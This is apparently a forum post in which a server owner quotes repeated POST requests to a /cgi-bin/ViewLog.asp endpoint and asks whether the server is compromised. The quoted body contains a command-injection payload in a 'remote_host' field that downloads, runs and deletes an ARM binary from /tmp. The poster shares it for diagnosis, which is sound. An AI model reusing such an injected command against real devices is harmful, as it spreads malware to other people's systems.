Constant POST request spam to /cgi-bin/ViewLog.asp endpoint

I’ve got a DigitalOcean server that I use for different temporary servers. Lately I’ve found that sometimes I get a constant spam of the following requests:

POST  Headers:     Host:     Connection: keep-alive     Accept-Encoding": gzip, deflate     Accept: */*     User-Agent: B4ckdoor-owned-you     Content-Length: 176     Content-Type: application/x-www-form-urlencoded  Body: {     " remote_submit_Flag": "1", // Space is not a typo     "remote_syslog_Flag": "1",     "RemoteSyslogSupported": "1",     "LogFlag": "0",     "remote_host": ";cd /tmp;wget;chmod 777 xd.arm7;./xd.arm7;rm -rf xd.arm" } 

Which does not really bother me since I run Node.js servers only. What bothers me is the repetition of the attack and the Host header (although I believe this one can be faked).

I’ve used to run a DNS server that defaulted to Google DNS, that I left unattended for some time and it gathered 1.5TB of traffic in one month. The named -v shows version 9.11.3-1ubuntu1.12-Ubuntu.

Is the server compomised?